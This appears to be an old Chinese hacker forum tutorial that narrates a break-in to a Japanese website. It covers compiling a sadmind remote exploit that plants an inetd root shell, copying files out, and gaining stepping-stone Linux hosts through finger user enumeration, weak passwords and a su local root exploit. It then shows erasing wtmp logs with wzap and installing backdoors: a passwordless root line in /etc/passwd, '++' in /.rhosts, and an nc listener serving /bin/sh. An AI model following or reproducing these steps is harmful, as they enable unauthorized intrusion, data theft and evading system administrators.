一、攻击
这些天我看准了日本一家经济方面的网站,想进去拿点东西;)如果发E-mail给网管叫他给我,我想他一定不答应。说不定用那乱七八糟的日文将我骂一顿,可 对于我这个不懂日文的家伙可能看了还乐滋滋的,并不觉得是在骂我。那么,就只有一中方法了,那就是我自己进去看看J(下面网站地址用196.0.0.1表 示,以便将跳板主机与我们要攻击的主机分开)
首先,我们登陆上次已经Crack了的Linux主机吧:)我想刚刚Crack完应该还有效吧;)
c:\>telnet xxx.xxx.xxx.xxx
Login:test
Password:
##########################################################################
# However,as the Serv will reload those classes. #
# inside the “/usr/proj/gipex/class”.you just. #
# need to remove the old class with the new one. #
# #########################################################################
$./su
bash#nmap –O 196.0.0.1
我们通过nmap的扫描结果发现这个系统是SunOS 5.6的主机
我马上又登陆到另一台已经Crack了的SunOS5.6的主机(至于SunOS5.6跳板主机如何得到我就不再在这里浪费口舌了,和Linux跳板主机的制作方法大同小异)
#rpccinfo –p 196.0.0.1
program vers proto port service
100000 4 tcp 111 rpcbind
100000 3 tcp 111 rpcbind
100000 4 udp 111 rpcbind
100000 2 udp 111 rpcbind
…………
100232 10 udp 61358 sadmind
…………
100001 4 udp 61363 rstatd
100001 3 udp 61363 rstatd
根据rpcinfo返回的结果,我发现这台主机开放了不少RPC服务,其中:
100232 10 udp 61358 sadmind
引起我的注意,我记得在CERT的报告有一个关于sadmind的远程溢出报告,那一定也有相应的溢出程序:)我马上到www.hack.co.za搜索一番:)最后我找到了一个溢出源程序sadmindex.c(程序太长,我就不在这里罗列了!!!请大家到www.hack.co.za上找:)
我们登陆到那台Linux上
bash#gcc –o sadmindex sadmindex.c –lrpcsvc –lnsl –lsocket
bash#./sadmindex –h 196.0.0.1 –c “echo ‘ingreslock stream tcp nowait root /bin/sh **-*’>> /*mp/bob;/usr/sbin/inetd –s /tmp/bob”-s 0xefff9580
“echo ‘ingreslock stream tcp nowait root /bin/sh **-*’>> /*mp/bob这一句是我们要在目标服务器上执行的命令,他的功能就是生成一个内容是”ingreslock stream tcp nowait root /bin/sh **-*”的/*mp/bob文件,然后再用inetd来启动,如果成功我们就可以再目标机的1024端口上开一个后门,用TELNET连接上去后就可以 直接用root身份执行shell了。。。哈哈是不是很爽?
Bash#telnet 196.0.0.1 1024
#
ok成功J我们成功得到root了!!!
#find / -name index.html –print
在/www/http/htdoc/目录下发现主页文件:)我的目的不是改主页,是要一些文件:)在这只是带说一下查找的方法!
#find / -name *.* -print (*.*是我要找的文件。这里省略名字:))
接下来将文件copy到主页目录,这样我们就可以下载了:)
#cp /home/www/*.* /www/http/htdoc
ok完成。我马上在浏览器里打入:http://196.0.0.1/*.*
下载成功。。。这次攻击就结束了。。。嘿嘿。。。。下面应该是要擦屁股走人了。。。不过如果你不想也可以。因为我们已经通过跳板登陆的。他们要查到我们也不是很容易的:)不过为了更加保险。也为了我们可以下次在登陆。我们还是擦擦屁股比较好。。。哦。。。天啊!!!
呀。。。不好。。。妈妈来了。。。叫俺学习去:(没办法。。。我们下次接着说吧!!!
二、跳板
这 些年网上黑客事件也日益增多了,各个国家与网络安全的法令也相继推出了!因而如果想入侵一个系统.而又不想惹上官司,那么自身安全因该是放在第一位.嗯, 那么如何才可以保证自己不被发现呢?谈论这个问题的文章出来了很多,但在这众多的方法中我还是比较喜欢使用跳板主机(也就是平时说的堡垒主机),使用跳板 主机有几点好处,首先是可以隐藏自己,再就是如果有一台功能齐全的跳板主机可以让工作达到事半功倍的效果:)那么如果得到一台跳板主机呢?
在 网络上运行的服务器有很多,最常见的有Unix Linux NT W2k Solaris irix FreeBSD不过在这些主机中我最喜欢用W2k和Linux作为攻击平台了。W2k的Crack方法有很多比如:输入法漏洞,Unicode二次编码漏 洞,IPC共享密码猜测等等,这些漏洞的利用方法有很多,而如何将NT/W2k做成跳板的文章也不少,因而我在这里也没有必要再重复了,我建议大家可以看 看小榕写的关于如何利用IPC的补充文档,上面有如何将NT/W2k做成跳板的详细过程!
下面我主要介绍如何制作Linux的跳板主机,要得到一台Linux可以用破译弱口令的方法得到,至于破译弱口令的工具我感觉流光是最好用的:)你可以到www.netxeyes.org免费得到。如果不想下工具的朋友,可以使用Finger命令来得到弱口令列表:
比如我们已经知道xxx.xxx.xxx.xxx的79端口开放,那么我们可以轻易的得到一些薄弱主机的用户列表J
――――――――――――――――――test――――――――――――――――――
c:>finger 0@xxx.xxx.xxx.xxx
[xxx.xxx.xxx.xxx]
finger:0:no such user
------------------------------------------------------end------------------------------------------------------
失败:(呵呵。。。没关系啦,别灰心我们再来!!!
-------------------------------------------------------test-----------------------------------------------------
c:>finger 0@xxx.xxx.xxx.xxx
[xxx.xxx.xxx.xxx]
Login Name TTY Idle When Where
Root ??? <….>
Bin ??? <….>
Sys ??? <….>
ver21 ??? pst/0 211.25.64.2
liky ??? 437 211.35.26.4
how ??? pst/2 211.65.24.8
tong ??? pst/0 211.85.24.5
test ??? <….>
dv0928 ??? 52 211.54.25.6
nobody ??? 021 211.25.42.6
imnadm ??? 62 211.23.65.5
哈哈。。。这么多用户:)这下我发了:)
c:\>telnet xxx.xxx.xxx.xxx
Red Hat Linux release 6.0 Publisher's Edition (Hedwig)
Kernel 2.2.5-15 on an i586
Login:nobody
Password:
Login incorrect
Login:imnadm
Password:
Login incorrect
Login:test
Password:
##########################################################################
# However,as the Serv will reload those classes. #
# inside the “/usr/proj/gipex/class”.you just. #
# need to remove the old class with the new one. #
# #########################################################################
$w
6:19pm up 61 day(s), 3:40, 3 users, load average: 0.11, 0.07, 0.10
User tty login@ idle JCPU PCPU what
root console 4May0161days 2 2 /usr/dt/bin/sdt_shell -c ?
root pts/4 Fri 4pm 5days tail -f syslog
delex pts/7 6:19pm w
$uname –a
Linux server.syscrew.co.jp 2.2.5-15 #1 Mon Apr 19 21:39:28 EDT 1999 i586 unknown
$gcc
gcc: No input files
不错哈。。我可以编译程序了:)
下面我就要来个本地溢出得到ROOT只有ROOT才可以干我想干的事情啊!!!
Su.c可以在www.hack.co.za找到!!!
好了,下载下来。。。。
c:\>ftp xxx.xxx.xxx.xxx
Connected to xxx.xxx.xxx.xxx
220 server.syscrew.co.jp FTP server (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:5
3 EDT 1999) ready.
User (xxx.xxx.xxx.xxx:(none)):test
331 Password required for test.
Password:
ftp>put su.c
200 PORT command successful.
150 Opening ASCII mode data connection for su.c.
226 Transfer complete.
ftp: 12554 bytes sent in 0.00Seconds 12554000.00Kbytes/sec.
ftp>bye
221-You have transferred 11991 bytes in 1 files.
221-Total traffic for this session was 12355 bytes in 1 transfers.
221-Thank you for using the FTP service on xxx.xxx.xxx.xxx.
221 Goodbye.
好了换telnet来
$gcc –o su su.c
$./su
su exploit by XP
Enjoy!
Phase 1. Checking paths and write permisions
Checking for /usr/bin/msgfmt...Ok
Checking for /usr/bin/objdump...Ok
Checking write permisions on /tmp...Ok
Checking read permisions on /bin/su...Ok
Checking for a valid language... [using cs_CZ] Ok
Checking that /tmp/LC_MESSAGES does not exist...Ok
Phase 2. Calculating eat and pad values
.....................................................................done
eat = 119 and pad = 2
Phase 3. Creating evil libc.mo and setting enviroment
vars
Phase 4. Getting address of .dtors section of /bin/su
..........................................done
.dtors is at 0x0804ba0c
Phase 5. Compiling suid shell
/tmp/xp created Ok
Phase 6. Executing /bin/su
- Entering rootshell ;-) -
bash#
ok,到这里我们已经得到root了。你现在可以****想干的事情了!!!
bash#telnet localhost
这样就会将下一个登陆人的IP覆盖到自己IP上:)这样就不容易发现了!!!
一个跳板Linux主机就作好了,记得保存好哟,我们下次还要用呢!!!
三、打扫战场
我们进行一次攻击为了不让管理员发现,同时也为了我们有可能再一次的登陆,我们有必要清理等了记录。为了找出怎么做的合适方法,我们不妨看看/etc/syslog.conf配置文件的内容。也许对你清理战场有很大帮助!
#cat /etc/syslog.conf
#Log all kernel messages to the console.
#Loging much else clutters up the screen.
#kern.*
#Log anything (except mail)of level info or higher.
#Don’t log private authentication messages!
*.info;mail.none;authpriv.none
#The authpriv file has restricted access.
Authpriv.*
#Log all the amil messages in one place.
Mail.* /var/log/maillog
#Everybody gets emergency messages,plus log them on another
#machine.
*.emerg
#Save mail and news errors of level err and higher in a
#special file.
Uucp,news.crit
/var/log/spooler
有了这些信息后我们就知道在/var/log目录下查找关键登陆文件了!简单的列一个目录,我们发现存在的各种登记文件,包括cron,maillog,messages,spooler,secure,wtmp和xferlog。
系统改动的文件有很多,包括了:messages,secure,wtmp和xferlog。既然wtmp是二进制的我们就可以用wzap.c来清理wtmp记录文件(这个文件在很多黑客网站上能找到源代码)
#gcc –o wzap wzap.c
#who ./wtmp
joel ftpd17264 jul 1 12:09 (*.*.*.*) 注:(*.*.*.*是跳板主机的IP地址,也是我们
root tty1 jul 4 22:21 要清除的IP地址)
root tty1 jul 5 18:25
…………..
joel ftpd945 jul 14 17:25(*.*.*.*)
…………..
root
root tty1 jul 20 18:14
#/opt/wzap
Enter username to zap from the wtmp:joe1
Opening file…
Opening output file…
Working…
#who ./wtmp.out
root tty1 jul 4 22:21
root tty1 jul 5 18:25
…….
好了。。这样我们的wtmp记录就删除了!!!
我们接下来可以用VI当然也可以用相应的黑客程序来抹掉其他的登陆记录。我就不再在这里多说了,方法大同小异的!!!
四、后门
1..添加一个root用户
echo “jelly::0:0::/:/bin/sh”>> /etc/passwd
这个帐户没有密码:)不过这很容易被管理员发现,只要他看一下文件就会发现多出来的用户名!
2..echo “++” >>/.rhosts
用户可以通过rlogin rsh rcp等连接到服务器。不过这种方法也容易暴露自己
3..修改Sendmail.cf不过这个后门一般的扫描器都会刺探到比如:nessus我想自己的劳动成果是不愿意让别人随意拿走的吧?
4..Shell后门
这种后门最普遍,也很简单。通常是在某一特定端口监听,如果连接上后立即执行/bin/sh。这样就可以得到shell的使用权了。这类似的源程序可以在一些好点的黑客网站上找到。比如说安全焦点(www.xfocus.org)
5.修改内核或降低某些软件版本达到后门目的。不过这种方法实现不容易。如果弄不好就会被发现,所以建议不要轻易使用这种方法
后门举例:
#gcc –o nc nc.c
#nc –l –d /bin/sh –p 8888
以后我们只要直接telnet服务器的8888端口就可以得到shell了:)
|